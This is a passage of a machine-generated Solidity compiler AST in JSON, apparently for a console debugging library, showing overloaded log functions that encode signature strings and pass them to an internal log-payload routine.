":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21119,"name":"address","nodeType":"ElementaryTypeName","src":"45444:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21122,"mutability":"mutable","name":"p3","nameLocation":"45461:2:14","nodeType":"VariableDeclaration","scope":21137,"src":"45456:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21121,"name":"bool","nodeType":"ElementaryTypeName","src":"45456:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"45425:39:14"},"returnParameters":{"id":21124,"nodeType":"ParameterList","parameters":[],"src":"45479:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21160,"nodeType":"FunctionDefinition","src":"45589:176:14","nodes":[],"body":{"id":21159,"nodeType":"Block","src":"45658:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c616464726573732c6164647265737329","id":21151,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"45708:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_8a2f90aa07fc9781ea213028ce9aef0a44d6a31a77e2f4d54d97a0d808348d5d","typeString":"literal_string \"log(bool,uint,address,address)\""},"value":"log(bool,uint,address,address)"},{"id":21152,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21139,"src":"45742:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21153,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21141,"src":"45746:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21154,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21143,"src":"45750:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21155,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21145,"src":"45754:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8a2f90aa07fc9781ea213028ce9aef0a44d6a31a77e2f4d54d97a0d808348d5d","typeString":"literal_string \"log(bool,uint,address,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":21149,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"45684:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21150,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"45688:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"45684:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21156,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45684:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21148,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"45668:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21157,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45668:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21158,"nodeType":"ExpressionStatement","src":"45668:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"45598:3:14","parameters":{"id":21146,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21139,"mutability":"mutable","name":"p0","nameLocation":"45607:2:14","nodeType":"VariableDeclaration","scope":21160,"src":"45602:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21138,"name":"bool","nodeType":"ElementaryTypeName","src":"45602:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21141,"mutability":"mutable","name":"p1","nameLocation":"45616:2:14","nodeType":"VariableDeclaration","scope":21160,"src":"45611:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21140,"name":"uint","nodeType":"ElementaryTypeName","src":"45611:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21143,"mutability":"mutable","name":"p2","nameLocation":"45628:2:14","nodeType":"VariableDeclaration","scope":21160,"src":"45620:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21142,"name":"address","nodeType":"ElementaryTypeName","src":"45620:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21145,"mutability":"mutable","name":"p3","nameLocation":"45640:2:14","nodeType":"VariableDeclaration","scope":21160,"src":"45632:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21144,"name":"address","nodeType":"ElementaryTypeName","src":"45632:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"45601:42:14"},"returnParameters":{"id":21147,"nodeType":"ParameterList","parameters":[],"src":"45658:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21183,"nodeType":"FunctionDefinition","src":"45771:175:14","nodes":[],"body":{"id":21182,"nodeType":"Block","src":"45843:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c75696e742c75696e7429","id":21174,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"45893:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_8e4ae86e71c7c77322d634e39fba7bc2a7e4fbe918bce10fe47326050a13b7c9","typeString":"literal_string \"log(bool,string,uint,uint)\""},"value":"log(bool,string,uint,uint)"},{"id":21175,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21162,"src":"45923:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21176,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21164,"src":"45927:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21177,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21166,"src":"45931:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21178,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21168,"src":"45935:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8e4ae86e71c7c77322d634e39fba7bc2a7e4fbe918bce10fe47326050a13b7c9","typeString":"literal_string \"log(bool,string,uint,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":21172,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"45869:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21173,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"45873:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"45869:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21179,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45869:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21171,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"45853:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21180,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45853:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21181,"nodeType":"ExpressionStatement","src":"45853:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"45780:3:14","parameters":{"id":21169,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21162,"mutability":"mutable","name":"p0","nameLocation":"45789:2:14","nodeType":"VariableDeclaration","scope":21183,"src":"45784:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21161,"name":"bool","nodeType":"ElementaryTypeName","src":"45784:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21164,"mutability":"mutable","name":"p1","nameLocation":"45807:2:14","nodeType":"VariableDeclaration","scope":21183,"src":"45793:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21163,"name":"string","nodeType":"ElementaryTypeName","src":"45793:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21166,"mutability":"mutable","name":"p2","nameLocation":"45816:2:14","nodeType":"VariableDeclaration","scope":21183,"src":"45811:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21165,"name":"uint","nodeType":"ElementaryTypeName","src":"45811:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21168,"mutability":"mutable","name":"p3","nameLocation":"45825:2:14","nodeType":"VariableDeclaration","scope":21183,"src":"45820:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21167,"name":"uint","nodeType":"ElementaryTypeName","src":"45820:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"45783:45:14"},"returnParameters":{"id":21170,"nodeType":"ParameterList","parameters":[],"src":"45843:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21206,"nodeType":"FunctionDefinition","src":"45952:186:14","nodes":[],"body":{"id":21205,"nodeType":"Block","src":"46033:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c75696e742c737472696e6729","id":21197,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"46083:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_77a1abed9f9fbc44023408083dd5c1cf42b0b566799470c6ab535b12d0f8f649","typeString":"literal_string \"log(bool,string,uint,string)\""},"value":"log(bool,string,uint,string)"},{"id":21198,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21185,"src":"46115:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21199,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21187,"src":"46119:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21200,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21189,"src":"46123:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21201,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21191,"src":"46127:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_77a1abed9f9fbc44023408083dd5c1cf42b0b566799470c6ab535b12d0f8f649","typeString":"literal_string \"log(bool,string,uint,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":21195,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"46059:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21196,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"46063:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"46059:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21202,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46059:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21194,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"46043:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21203,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46043:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21204,"nodeType":"ExpressionStatement","src":"46043:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"45961:3:14","parameters":{"id":21192,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21185,"mutability":"mutable","name":"p0","nameLocation":"45970:2:14","nodeType":"VariableDeclaration","scope":21206,"src":"45965:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21184,"name":"bool","nodeType":"ElementaryTypeName","src":"45965:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21187,"mutability":"mutable","name":"p1","nameLocation":"45988:2:14","nodeType":"VariableDeclaration","scope":21206,"src":"45974:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21186,"name":"string","nodeType":"ElementaryTypeName","src":"45974:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21189,"mutability":"mutable","name":"p2","nameLocation":"45997:2:14","nodeType":"VariableDeclaration","scope":21206,"src":"45992:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21188,"name":"uint","nodeType":"ElementaryTypeName","src":"45992:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21191,"mutability":"mutable","name":"p3","nameLocation":"46015:2:14","nodeType":"VariableDeclaration","scope":21206,"src":"46001:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21190,"name":"string","nodeType":"ElementaryTypeName","src":"46001:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"45964:54:14"},"returnParameters":{"id":21193,"nodeType":"ParameterList","parameters":[],"src":"46033:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21229,"nodeType":"FunctionDefinition","src":"46144:175:14","nodes":[],"body":{"id":21228,"nodeType":"Block","src":"46216:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c75696e742c626f6f6c29","id":21220,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"46266:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_20bbc9af7c6bae926ffd73678c9130310d497610a5c76e6e2ae48edff96f38a8","typeString":"literal_string \"log(bool,string,uint,bool)\""},"value":"log(bool,string,uint,bool)"},{"id":21221,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21208,"src":"46296:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21222,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21210,"src":"46300:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21223,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21212,"src":"46304:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21224,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21214,"src":"46308:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_20bbc9af7c6bae926ffd73678c9130310d497610a5c76e6e2ae48edff96f38a8","typeString":"literal_string \"log(bool,string,uint,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":21218,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"46242:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21219,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"46246:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"46242:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21225,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46242:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21217,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"46226:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21226,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46226:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21227,"nodeType":"ExpressionStatement","src":"46226:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"46153:3:14","parameters":{"id":21215,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21208,"mutability":"mutable","name":"p0","nameLocation":"46162:2:14","nodeType":"VariableDeclaration","scope":21229,"src":"46157:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21207,"name":"bool","nodeType":"ElementaryTypeName","src":"46157:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21210,"mutability":"mutable","name":"p1","nameLocation":"46180:2:14","nodeType":"VariableDeclaration","scope":21229,"src":"46166:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21209,"name":"string","nodeType":"ElementaryTypeName","src":"46166:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21212,"mutability":"mutable","name":"p2","nameLocation":"46189:2:14","nodeType":"VariableDeclaration","scope":21229,"src":"46184:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21211,"name":"uint","nodeType":"ElementaryTypeName","src":"46184:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21214,"mutability":"mutable","name":"p3","nameLocation":"46198:2:14","nodeType":"VariableDeclaration","scope":21229,"src":"46193:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21213,"name":"bool","nodeType":"ElementaryTypeName","src":"46193:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"46156:45:14"},"returnParameters":{"id":21216,"nodeType":"ParameterList","parameters":[],"src":"46216:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21252,"nodeType":"FunctionDefinition","src":"46325:181:14","nodes":[],"body":{"id":21251,"nodeType":"Block","src":"46400:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c75696e742c6164647265737329","id":21243,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"46450:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5b22b938264abfc98de8ea025ac5bd87df03cbffd23b96cdfe194e0ef6fb136a","typeString":"literal_string \"log(bool,string,uint,address)\""},"value":"log(bool,string,uint,address)"},{"id":21244,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21231,"src":"46483:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21245,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21233,"src":"46487:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21246,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21235,"src":"46491:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21247,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21237,"src":"46495:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5b22b938264abfc98de8ea025ac5bd87df03cbffd23b96cdfe194e0ef6fb136a","typeString":"literal_string \"log(bool,string,uint,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":21241,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"46426:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21242,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"46430:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"46426:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21248,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46426:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21240,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"46410:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21249,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46410:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21250,"nodeType":"ExpressionStatement","src":"46410:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"46334:3:14","parameters":{"id":21238,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21231,"mutability":"mutable","name":"p0","nameLocation":"46343:2:14","nodeType":"VariableDeclaration","scope":21252,"src":"46338:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21230,"name":"bool","nodeType":"ElementaryTypeName","src":"46338:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21233,"mutability":"mutable","name":"p1","nameLocation":"46361:2:14","nodeType":"VariableDeclaration","scope":21252,"src":"46347:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21232,"name":"string","nodeType":"ElementaryTypeName","src":"46347:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21235,"mutability":"mutable","name":"p2","nameLocation":"46370:2:14","nodeType":"VariableDeclaration","scope":21252,"src":"46365:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21234,"name":"uint","nodeType":"ElementaryTypeName","src":"46365:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21237,"mutability":"mutable","name":"p3","nameLocation":"46382:2:14","nodeType":"VariableDeclaration","scope":21252,"src":"46374:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21236,"name":"address","nodeType":"ElementaryTypeName","src":"46374:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"46337:48:14"},"returnParameters":{"id":21239,"nodeType":"ParameterList","parameters":[],"src":"46400:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21275,"nodeType":"FunctionDefinition","src":"46512:186:14","nodes":[],"body":{"id":21274,"nodeType":"Block","src":"46593:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c737472696e672c75696e7429","id":21266,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"46643:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5ddb259214a75c0fc75757e8e19b1cf1c4ec17a5eef635b4715f04b86884d5df","typeString":"literal_string \"log(bool,string,string,uint)\""},"value":"log(bool,string,string,uint)"},{"id":21267,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21254,"src":"46675:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21268,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21256,"src":"46679:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21269,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21258,"src":"46683:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21270,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21260,"src":"46687:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5ddb259214a75c0fc75757e8e19b1cf1c4ec17a5eef635b4715f04b86884d5df","typeString":"literal_string 